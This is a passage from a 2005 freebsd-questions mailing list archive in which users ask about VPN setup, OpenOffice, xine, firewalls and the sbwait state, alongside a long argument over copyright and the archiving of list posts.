freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 23:14:21 -0000 You may want to take a look at 'mpd' ... I found it very easy to set up, works fine with Windows clients, and I documented it here: http://www.bsdpronto.com/tutorials/22/ Hope that helps... David ----- Original Message ----- From: "darren david" To: Sent: Sunday, February 06, 2005 2:39 PM Subject: easy VPN config HOWTO? > Hi all- > > I have been searching high and low for a straightforward VPN configuration > HOWTO with no luck. everything i've found is way over my head and very > convoluted (to me, at least). Perhaps such is the nature of VPN. > > My goal is simply to allow users running Windows to VPN in to my home > server and gain access to the private LAN. Sure, i can get in via ssh, but > i have several less technical users who need to access to shared resources > and for them, ssh is not a realistic solution. I've heard that OpenVPN is > a bit simpler to set up, but it too is a complicated matter. All of the > examples i've seen/googled involve unix<->unix machines. > > I'm tracking 5.3-STABLE with pf controlling traffic. > > Can anyone point me in a good direction? > > Thanks in advance, > darren david From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 23:17:07 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id DB20616A4CE for ; Sun, 6 Feb 2005 23:17:07 +0000 (GMT) Received: from outside.taborandtashell.net (sub18-33.member.dsl-only.net [63.105.18.33]) by mx1.FreeBSD.org (Postfix) with ESMTP id 2041743D31 for ; Sun, 6 Feb 2005 23:17:07 +0000 (GMT) (envelope-from tkelly-freebsd-questions@taborandtashell.net) Received: (qmail 31745 invoked from network); 6 Feb 2005 15:17:04 -0800 Received: from laptop.taborandtashell.net (HELO ?192.168.0.9?) (tkelly@192.168.0.9) by outside.taborandtashell.net with AES256-SHA encrypted SMTP; 6 Feb 2005 15:17:04 -0800 Message-ID: <4206A574.7070302@taborandtashell.net> Date: Sun, 06 Feb 2005 15:17:08 -0800 From: Tabor Kelly User-Agent: Mozilla Thunderbird 1.0 (X11/20041230) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Ned Harrison References: <200502061703.55089.nedsmailbox2@cox.net> In-Reply-To: <200502061703.55089.nedsmailbox2@cox.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit cc: freebsd-questions@freebsd.org Subject: Re: Openoffice startup question X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: tkelly-freebsd-questions@taborandtashell.net List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 23:17:08 -0000 Ned Harrison wrote: > I installed openoffice-1.1.4 via using pkg_add on a package pulled down from > the FreeBSD web cite. It installed with only two minor warnings regarding > out of date packages. Those have been upgraded and pkgdb -F fixed the > dependencies. > > However, the initiall set up instructions don't seam to work. When I type > "openoffice", I get "Command not found" for a response. It doesn't matter > whether I enter the command as an ordinary user or as root. This is true > even when I move to /usr/local/bin where there are several openoffice files. > > Any suggestions on what to do next would be appreciated. > > thanks, > Ned > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" try openoffice-1.1.4 -- Tabor Kelly tkelly-freebsd-questions@taborandtashell.net http://tabor.taborandtashell.net From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 23:22:52 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5570516A4CE for ; Sun, 6 Feb 2005 23:22:52 +0000 (GMT) Received: from cromagnon.cullmail.com (cromagnon.cullmail.com [67.33.58.202]) by mx1.FreeBSD.org (Postfix) with ESMTP id D120B43D1F for ; Sun, 6 Feb 2005 23:22:51 +0000 (GMT) (envelope-from jamoore@cromagnon.cullmail.com) Received: from cromagnon.cullmail.com (localhost.cullmail.com [127.0.0.1]) j16NLSxY036231; Sun, 6 Feb 2005 17:21:28 -0600 (CST) (envelope-from jamoore@cromagnon.cullmail.com) Received: from localhost (localhost [[UNIX: localhost]]) by cromagnon.cullmail.com (8.12.10/8.12.10/Submit) id j16NLRuR036230; Sun, 6 Feb 2005 17:21:28 -0600 (CST) (envelope-from jamoore) From: Jay Moore To: freebsd-questions@freebsd.org, Gert Cuykens Date: Sun, 6 Feb 2005 17:21:27 -0600 User-Agent: KMail/1.6.1 References: In-Reply-To: MIME-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <200502061721.27613.jaymo@cromagnon.cullmail.com> Subject: Re: what is /entrophy ? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: jaymo@cromagnon.cullmail.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 23:22:52 -0000 On Wednesday 02 February 2005 05:52 am, Gert Cuykens wrote: > what is /entrophy ? can i delete it ? I believe it is a mis-spelled version of /entropy jay From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 23:26:51 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id EF7A416A4CE for ; Sun, 6 Feb 2005 23:26:51 +0000 (GMT) Received: from heineken.flexi-surf.co.uk (smtp.flexi-surf.co.uk [62.41.128.20]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4866543D53 for ; Sun, 6 Feb 2005 23:26:50 +0000 (GMT) (envelope-from nbco@screaming.net) Received: from [192.168.2.2] ([217.51.144.213])j16LDUc19798; Sun, 6 Feb 2005 21:13:30 GMT From: nbco To: freebsd-questions@freebsd.org Date: Sun, 6 Feb 2005 23:26:35 +0000 User-Agent: KMail/1.7.2 References: <200502061703.55089.nedsmailbox2@cox.net> In-Reply-To: <200502061703.55089.nedsmailbox2@cox.net> MIME-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Message-Id: <200502062326.36775.nbco@screaming.net> cc: Ned Harrison Subject: Re: Openoffice startup question X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: nbco@screaming.net List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 23:26:52 -0000 On Sunday 06 February 2005 17:03, Ned Harrison wrote: > However, the initiall set up instructions don't seam to work. When I > type "openoffice", I get "Command not found" for a response. It > doesn't matter whether I enter the command as an ordinary user or as > root. This is true even when I move to /usr/local/bin where there > are several openoffice files. Hi there, Go to: /usr/local/OpenOffice.org1.1.4 then enter the command (as root) ./spadmin hope this helps .nbco From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 23:32:21 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E40FD16A4CE for ; Sun, 6 Feb 2005 23:32:21 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.205]) by mx1.FreeBSD.org (Postfix) with ESMTP id 46C9B43D54 for ; Sun, 6 Feb 2005 23:32:20 +0000 (GMT) (envelope-from gert.cuykens@gmail.com) Received: by rproxy.gmail.com with SMTP id f1so664274rne for ; Sun, 06 Feb 2005 15:32:16 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding; b=EbnlOUiegmUXtQywKMIZRauuy+Tg/LeDgUyja9xCrizzxt9kE76oraUuIoaUU9O7s+17m8gcpdnlX98AY6gpr8rMDOEdaug+39QLnaAantdSVMhk2UoK3ArXpP8KDzPisiPV0MaX+GXmy2rZzaXPwpLQzRUSdqJQi/xqmZFzNHE= Received: by 10.38.149.55 with SMTP id w55mr526536rnd; Sun, 06 Feb 2005 15:32:16 -0800 (PST) Received: by 10.38.74.23 with HTTP; Sun, 6 Feb 2005 15:32:15 -0800 (PST) Message-ID: Date: Mon, 7 Feb 2005 00:32:15 +0100 From: Gert Cuykens To: freebsd-questions@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: .snap X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Gert Cuykens List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 23:32:22 -0000 What are .snap directories ? From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 23:38:58 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 92B8416A4CE for ; Sun, 6 Feb 2005 23:38:58 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id DAC8743D46 for ; Sun, 6 Feb 2005 23:38:57 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j16Nd0j01409 for ; Sun, 6 Feb 2005 15:39:00 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: Date: Sun, 6 Feb 2005 15:38:59 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) In-Reply-To: <675747489.20050206154301@wanadoo.fr> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 Importance: Normal Subject: RE: favor X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 23:38:58 -0000 > -----Original Message----- > From: owner-freebsd-questions@freebsd.org > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Anthony > Atkielski > Sent: Sunday, February 06, 2005 6:43 AM > To: freebsd-questions@freebsd.org > Subject: Re: favor > > > TM> Well unless things have changed > TM> very recently, you do not have to sign up to post to the FreeBSD > TM> Questions mailing list. You have to sign up to receive copies of > TM> posts to it, but questions has always been left open for posting. > > If you have to subscribe to receive it, then it's not entirely public. > But - you don't. You can post to the list without signing up then go visit the archives with a web browser to read the replies to your post. > TM> In any case with other mailing lists, such as the public ones that > TM> require signing up, you are confusing an access restriction with > TM> signing up. > > They are one and the same. Any signing up action generally creates an > implicit or explicit contract. Not in the case of a public mailing list where the signup operation only assists in the use of it. In the case of a public mailing list with an archive, signups are not required to access the list. (unless the archive requires a login to access) And you do not need posting ability on a this kind of a list to make use of the data on it. > The subscriber is granted some specific > access in exchange for completing the subscription procedure. Ideally > the subscription process requires the subscriber to explicitly > acknowledge his agreement with the terms of the contract. > > > Just signing up to receive it is sufficient to make it non-public. > If you accept that then newspapers aren't public because you have to subscribe to them. Television isn't public because in many areas that don't get a TV signal (it's blocked by mountains, etc.) you have to subscribe to a cable service to get it. The town square isn't public because it's owned by the city government who can chase you off of it because you didn't buy a parade permit. Basically, all venues are non-public. > > The requirements of contract law are not waived simply because they are > inconvenient for one party. A contract, once concluded, > remains binding > even if one party finds it troublesome to live up to its obligations > under the contract. > Except that a signup on a mailing list is no more a contract than unwrapping the shrink wrap on a piece of software. > TM> Your arguing that a political rally is a public forum > because there's > TM> no restrictions for someone to be there holding a sign - but there > TM> are restrictions because you have to wear clothing to be there or > TM> they would toss you out. > > Those restrictions, where they exist, are not imposed by the rally > organizers, they are imposed by statutory law. Not in Oregon, at least, where nude dancing is constitutionally protected. > > No, it does not, if no editorial control is exerted over the list. If > what you say is true, then every ISP and every node > participating in the > transmission of any e-mail message becomes liable if that message is > spam, even if no control on content is exerted by any of these > entities. > Obviously, that's not the way it works. > You can't have it both ways. If what you say is true then there is no editorial control over the mailing list. > > TM> Have you seen this control here? > > Yes. > Ah. That I see is the crux of the matter. Your mad at the list maintainers for blocking one of your posts. ;-) Seriously, when did you see this control? I am curious as I've not seen yet even the most objectional post removed or objectional person blocked. > TM> But for museums that display old masters the situation is > different. > TM> They know that they have no copyright rights over a > painting that is > TM> 400 years old, and if they didn't prohibit pictures, they would not > TM> be able to prevent the publishing of books of pictures of their > TM> paintings. > > Many museums allow you to take pictures freely. The usual restriction, > if there is one, is on flash photography. > > However, property owners can restrict what may be done on their > property, within broad limits. So they can prevent you from taking > photos inside their property. Right, that is exactly what I was saying earlier. > > TM> I don't assert that and never have. I assert that with > e-publishing > TM> that there are not multiple venues like your trying to claim that > TM> there are. > > But there _are_ multiple venues: open Web sites, protected Web sites, > open but unindexed sites, P2P networks, FTP servers, e-mail > servers, and > so on. Permission for publication in one of these venues does > not imply > permission in all others. Just because they all use computers doesn't > mean that they are all one and the same. > Alright, I'll narrow that - there's not multiple venues with a mailing list, there's only differences in delivery. I can subscribe to a Braille version of the newspaper and a regular version. Content is identical except for pictures, of course. It's the same venue. Delivery is different. > > TM> Now, how exactly are these 2 universes different? > > Why does it matter? > EXACTLY! It -does not- matter, because the venue is the same. The archive and the mailing list are the same. I think you have finally grasped it. > > TM> If she is asking Google to remove the links, then correct. But she > TM> wasn't, she was asking the FreeBSD list maintainers to remove it > TM> from their archive. > > That is her prerogative, unless she had explicitly agreed to the > archiving of her posts. There's a big difference between ephemeral and > durable forms of distribution. Granting permission to use > material that > will be seen temporarily and then will disappear is very different from > granting permission to use material in perpetuity. You cannot grant permission to use material in perpetuity because the copyright on it eventually expires - at that time you cannot grant permission to do anything with it as it goes into the public domain. And yes, there's currently an argument over how or even if you can define ephemeral and durable forms of distribution to an electronically published document. But in this case when she posted she knew the list was archived, so if you assume both forms exist in e-publishing then she granted permission for use in both forms. But, IMHO there's no such thing as ephemeral and durable forms of distribution for electronic media at the current time. Your welcome to try arguing that if you want. > > Furthermore, a public archive exposes her posts to an audience well > beyond that subscribed to the mailing list, and when she subscribes she > only consents implicitly to distribution to the latter, not the former > (and then only temporarily). > Since the posts are archived immediately on being made, the second anyone posts, they are available to this audience well beyond that subscribed to the mailing list. There is no such thing as a limited subset of audience on an archived mailing list like your saying. > TM> For a mailing list, it's archives are part and parcel of the forum, > TM> they are not an 'other form' > > No. Many mailing lists are not archived. Saying that archives are > implicit to mailing lists I'm not. Quite obviously, if a mailing list DOES NOT have an archive then "it's" archive isn't part and parcel of the mailing list. More and more mailing list software automatically archives though, nowadays. I'll grant that you might have an issue if you had a mailing list that was not archived publically, someone made a post, then 2 years later the mailing list bring into public access a 4 year old archive that they have been privately maintaining. In that case the poster would have had an expectation that they wern't granting consent to archiving since at the time they made their post, no archiving was available to the public. Interesting issues to apply to when Google brought online it's 20-year-old Usenet News archive that was maintained on the old Wargmes-style 9 track mag tape. > > TM> Wrong. There is no law saying that Google must allow authors to > TM> require removal. > > Copyright law gives authors certain rights; their applicability to > Google is a matter of some debate. > > TM> Google allows people to request removal of links and > material in the > TM> search database, but authors of these links do not have > any right to > TM> demand this, this is entirely something that Google has decided as > TM> editor of the database, to allow authors to do. > > The ability of persons to demand that Google do this has not been > established (or eliminated) by jurisprudence thus far. > And, I daresay, as long as Google and the other search engines continue their policies of removing data that they never had permission to post, on request, it will be exceedingly difficult to bring a case to court that establishes this. > > TM> No, because she cannot present proof that the Valerie in > the posts that > TM> are being satirized is the same Valerie as she is. > > She need only demonstrate beyond a reasonable doubt that persons seeing > the posts will identify them with her. Yes, I know that. As I said in the original example which has been long trimmed, with this instance it wouldn't be possible to demonstrate this, as her previous posts have not given verifyable data. > > TM> It's like, I use an anonymous login on a forum, the anonymous login > TM> is tarred and feathered, I try to sue the people doing the tarring > TM> and feathering based on the grounds that I'm being > libeled. Except that > TM> nobody knows it's me because I'm using an anonymous login so how > TM> have I been libeled exactly? > > But if you are anonymous, nobody is using your name. > No. That isn't what being anonymous means. If you are anonymous, then you aren't using a name that can be identified as you. For example my name is Bob Smith. I use Bob Smith as my handle on a forum. Without any further identifying data in my posts, it is impossible to ascribe my post to any particular Bob Smith because there are ten thousand Bob Smiths in the country. Therefore even though I am using my name, I am anonymous. > > TM> Because of that there really doesen't exist a legal 'membership' of > TM> the list. The spam protection is as a matter of fact why there's no > TM> signup to view the archives - because it's not needed > since spammers > TM> viewing the archives isn't illegal. > > Viewing the archives may not be illegal, but archiving the messages may > be a copyright infringement, or a breach of contract, or both. In some > cases, it may also open the door to libel and privacy actions (some > jurisdictions have upheld this view, as for example in the case of > someone who says something that was reasonable at the time but became > embarrassing years later or when taken out of context, which never > should have happened but happened anyway because someone was archiving > the material). > In other words, someone years later wants to lie and say that they never said that, and the courts are upholding this? And you support that? For example, Bill Gates stated at the 1988 Comdex that Microsoft believed Comdex is the platform of the 1990s. I have an AVI of it. Five year later Bill claims that he never thought that OS/2 would ever amount to anything. I stand up in the press conference and say "hey Bill, your a liar, I have video of you saying the opposite" He sues me for libel because I never had durable rights to his statement. The court rules that he's not a liar. Good, good. Exactly what we need. 1984 here we come. > > No, they wouldn't. Someone who sets up a list for alcoholics or AIDS > victims or anything else and then archives the posts without asking > subscribers for permission opens himself to a heap of trouble. > Archives the posting without the knowledge of the participants, more accurately. And yes, I agree with this statement. > > TM> Anybody or anything can be sued. However not anybody or anything > TM> can be successfully sued. > > Just defending oneself in a lawsuit is likely to bring bankruptcy, so > whether one wins or loses is often a moot point. > I am sorry you believe this. And I'll leave it at that. Perhaps one of these days you will grow up and understand that there are things in the world worth fighting for, more important than being bankrupt or not. Such as the truth. I would rather be broke to win a righteous fight than solvent because I've compromised my principles. Ted From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 23:39:04 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 493E816A4EE for ; Sun, 6 Feb 2005 23:39:04 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.195]) by mx1.FreeBSD.org (Postfix) with ESMTP id 92FBD43D41 for ; Sun, 6 Feb 2005 23:39:00 +0000 (GMT) (envelope-from gert.cuykens@gmail.com) Received: by rproxy.gmail.com with SMTP id r35so728476rna for ; Sun, 06 Feb 2005 15:39:00 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding; b=CRxTjm38W2AkIZ8q56qYbnK8j7i2f9/LIw0O704ERwmnB8IUBnkawjbN2SkrHqhrEpkVtjprBiJpwh2Slu7zFnPSLzE6Yb2qaBq/nxls9ZqK1SnqlNUEqyZUccnuSwQOpSu0Xg3RQJR0ArZE9XeeiGsYd/9SVwpaP8rJcj+onOc= Received: by 10.38.13.63 with SMTP id 63mr58732rnm; Sun, 06 Feb 2005 15:38:59 -0800 (PST) Received: by 10.38.74.23 with HTTP; Sun, 6 Feb 2005 15:38:59 -0800 (PST) Message-ID: Date: Mon, 7 Feb 2005 00:38:59 +0100 From: Gert Cuykens To: freebsd-questions@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: xine bus error X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Gert Cuykens List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 23:39:04 -0000 playing mp3's with xmms works perfect but when i open the same mp3 in xine i get this ? I# xine This is xine (X11 gui) - a free video player v0.99.3. (c) 2000-2004 The xine Team. Bus error I# From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 23:58:01 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2442E16A4CE for ; Sun, 6 Feb 2005 23:58:01 +0000 (GMT) Received: from cromagnon.cullmail.com (cromagnon.cullmail.com [67.33.58.202]) by mx1.FreeBSD.org (Postfix) with ESMTP id A97D143D1D for ; Sun, 6 Feb 2005 23:58:00 +0000 (GMT) (envelope-from jamoore@cromagnon.cullmail.com) Received: from cromagnon.cullmail.com (localhost.cullmail.com [127.0.0.1]) j16NuSxY036338; Sun, 6 Feb 2005 17:56:28 -0600 (CST) (envelope-from jamoore@cromagnon.cullmail.com) Received: from localhost (localhost [[UNIX: localhost]]) by cromagnon.cullmail.com (8.12.10/8.12.10/Submit) id j16NuSDq036337; Sun, 6 Feb 2005 17:56:28 -0600 (CST) (envelope-from jamoore) From: Jay Moore To: Andy Firman Date: Sun, 6 Feb 2005 17:56:27 -0600 User-Agent: KMail/1.6.1 References: <20050202180022.GA20636@akroteq.com> In-Reply-To: <20050202180022.GA20636@akroteq.com> MIME-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <200502061756.27924.jaymo@cromagnon.cullmail.com> cc: freebsd-questions@freebsd.org Subject: Re: IPF, IPFW, or IPFILTER? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: jaymo@cromagnon.cullmail.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 23:58:01 -0000 On Wednesday 02 February 2005 12:00 pm, Andy Firman wrote: > The author of the FreeBSD handboodk prefers IPF (ipfilter) because > its stateful rules are much less complicated.... > The author of "The Complete BSD" talks about IPFW (ipfirewall) > only. People on this list talk of PF (packetfilter) quite a bit. > > What is the most "commonly used" firewall for a web/email host > server with a static IP address connected directly to the Internet? > (protecting itself) > > What is the most "commonly used" firewall for a gateway/router/ > network firewall server in front of several other boxes? > (protecting others and itself) Andy, I like pf; I think it's a mature product that is well-maintained by some folks who seem to know what they're doing. It was "ported" to FreeBSD about a year ago IIRC. There is a good user's guide available at www.openbsd.org. A little history: OpenBSD used to use ipf as its firewall. Major, major friction between the ipf author and OpenBSD proj leader motivated development of pf. Following post provides some background on this: http://www.monkey.org/openbsd/archive/misc/0206/msg02365.html hth, Jay From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 00:04:20 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 41D8316A4CE for ; Mon, 7 Feb 2005 00:04:20 +0000 (GMT) Received: from post-23.mail.nl.demon.net (post-23.mail.nl.demon.net [194.159.73.193]) by mx1.FreeBSD.org (Postfix) with ESMTP id AB99643D53 for ; Mon, 7 Feb 2005 00:04:19 +0000 (GMT) (envelope-from albi@scii.nl) Received: from aseed.demon.nl ([82.161.136.218]:10024 helo=mail.aseed.antenna.nl) by post-23.mail.nl.demon.net with esmtp (Exim 4.43) id 1CxwO2-0006FZ-KY; Mon, 07 Feb 2005 00:04:18 +0000 Received: from http.aseed.antenna.nl (unknown [192.168.0.50]) by mail.aseed.antenna.nl (Postfix) with ESMTP id E185B154493; Mon, 7 Feb 2005 01:05:11 +0100 (CET) Received: from [192.168.0.111] (adsl162-196.dsl.uva.nl [146.50.162.196]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by http.aseed.antenna.nl (Postfix) with ESMTP id 2D7393701F; Mon, 7 Feb 2005 01:04:19 +0100 (CET) Message-ID: <4206B063.9090001@scii.nl> Date: Mon, 07 Feb 2005 01:03:47 +0100 From: albi User-Agent: Mozilla Thunderbird 1.0 (X11/20050123) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Gert Cuykens References: In-Reply-To: X-Enigmail-Version: 0.89.5.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit cc: freebsd-questions@freebsd.org Subject: Re: xine bus error X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 00:04:20 -0000 Gert Cuykens wrote: > playing mp3's with xmms works perfect but when i open the same mp3 in > xine i get this ? > why would you want to mp3s with xine ? mplayer is imho the better video-player for playing (streaming) mp3 and ogg anyway > I# xine > This is xine (X11 gui) - a free video player v0.99.3. > (c) 2000-2004 The xine Team. > Bus error i suggest you install also mplayer, mpg321 and beep-media-player for both mp3, ogg and mpeg, avi, wmv and mov files (i like choice ;^) From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 00:49:27 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 60D7C16A4CE for ; Mon, 7 Feb 2005 00:49:27 +0000 (GMT) Received: from cyrus.watson.org (cyrus.watson.org [204.156.12.53]) by mx1.FreeBSD.org (Postfix) with ESMTP id 2F2B943D2F for ; Mon, 7 Feb 2005 00:49:27 +0000 (GMT) (envelope-from robert@fledge.watson.org) Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by cyrus.watson.org (Postfix) with SMTP id DAA3746B40; Sun, 6 Feb 2005 19:49:26 -0500 (EST) Date: Mon, 7 Feb 2005 00:48:30 +0000 (GMT) From: Robert Watson X-Sender: robert@fledge.watson.org To: Jon Drews In-Reply-To: <8cb27cbf05020614334a3978cd@mail.gmail.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII cc: FreeBSD Questions Subject: Re: What does sbwait mean in top ? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 00:49:27 -0000 On Sun, 6 Feb 2005, Jon Drews wrote: > What does sbwait mean in top? Is it related to a sysctl setting? I have > looked in the man page for top, at William LeFebvres site ( > http://www.groupsys.com/top ), in Evi Nemeth's "UNIX System > Administration Handbook" and Googled in general. Does anyone know of a > URL that gives an explanation of sbwait and for that matter semwait too. The sbwait wchan is present when a thread has invoked the in-kernel sbwait() function to wait for a socket event. It's used in a number of situations, but the main ones are: - The thread is trying to send on a blocking socket, but there's insufficient socket buffer space, so it must wait for space. This might occur if it has managead to max out the bandwidth available to a TCP connection, or flow control is in use and the receiver does not wish to receive more data yet. - The thread is trying to receive on a blocking socket, but there's not enough data to satisfy the read request, so it must wait for data to be received. It might be waiting for a remote TCP sender to have data available, or for in-flight data to arrive. Robert N M Watson From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 00:59:53 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id EE6F116A4CF for ; Mon, 7 Feb 2005 00:59:53 +0000 (GMT) Received: from smtpq3.home.nl (smtpq3.home.nl [213.51.128.198]) by mx1.FreeBSD.org (Postfix) with ESMTP id EBFDB43D2F for ; Mon, 7 Feb 2005 00:59:52 +0000 (GMT) (envelope-from danny@ricin.com) Received: from [213.51.128.134] (port=50741 helo=smtp3.home.nl) by smtpq3.home.nl with esmtp (Exim 4.30) id 1CxxFn-0003Wo-VZ; Mon, 07 Feb 2005 01:59:51 +0100 Received: from cp464173-a.dbsch1.nb.home.nl ([84.27.215.228]:64593 helo=workstation.homenet) by smtp3.home.nl with esmtp (Exim 4.30) id 1CxxFn-0008CM-0W; Mon, 07 Feb 2005 01:59:51 +0100 From: Danny Pansters To: freebsd-questions@freebsd.org Date: Mon, 7 Feb 2005 01:59:39 +0100 User-Agent: KMail/1.7.2 References: <20050205015010.87497.qmail@web54003.mail.yahoo.com> In-Reply-To: <20050205015010.87497.qmail@web54003.mail.yahoo.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502070159.40247.danny@ricin.com> X-AtHome-MailScanner-Information: Please contact support@home.nl for more information X-AtHome-MailScanner: Found to be clean cc: Rob Subject: Re: mplayer vs xine X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: danny@ricin.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 00:59:54 -0000 On Saturday 5 February 2005 02:50, Rob wrote: > Jacob S wrote: > > I like mplayer for cli stuff and xine for gui. > > Mainly because the cli stuff I do is downloading and > > converting streams from wma/rm to wav/ogg/mp3, etc. > > and I use the gui for watching videos and such. > > How do you convert realmedia to other formats with > mplayer? > Or maybe first: how do you play realmedia streams > with mplayer? > > I have installed: > mplayer-gtk2-0.99.5_6 > linux-realplayer-10.0.2_1 > win32-codecs-2.1.0.p5,1 > > I can't play realplay streams with mplayer. > When I do: > mplayer -vo x11 "rtsp://some.site.com/movie.rm" > > I get lots of output in my terminal, among wich 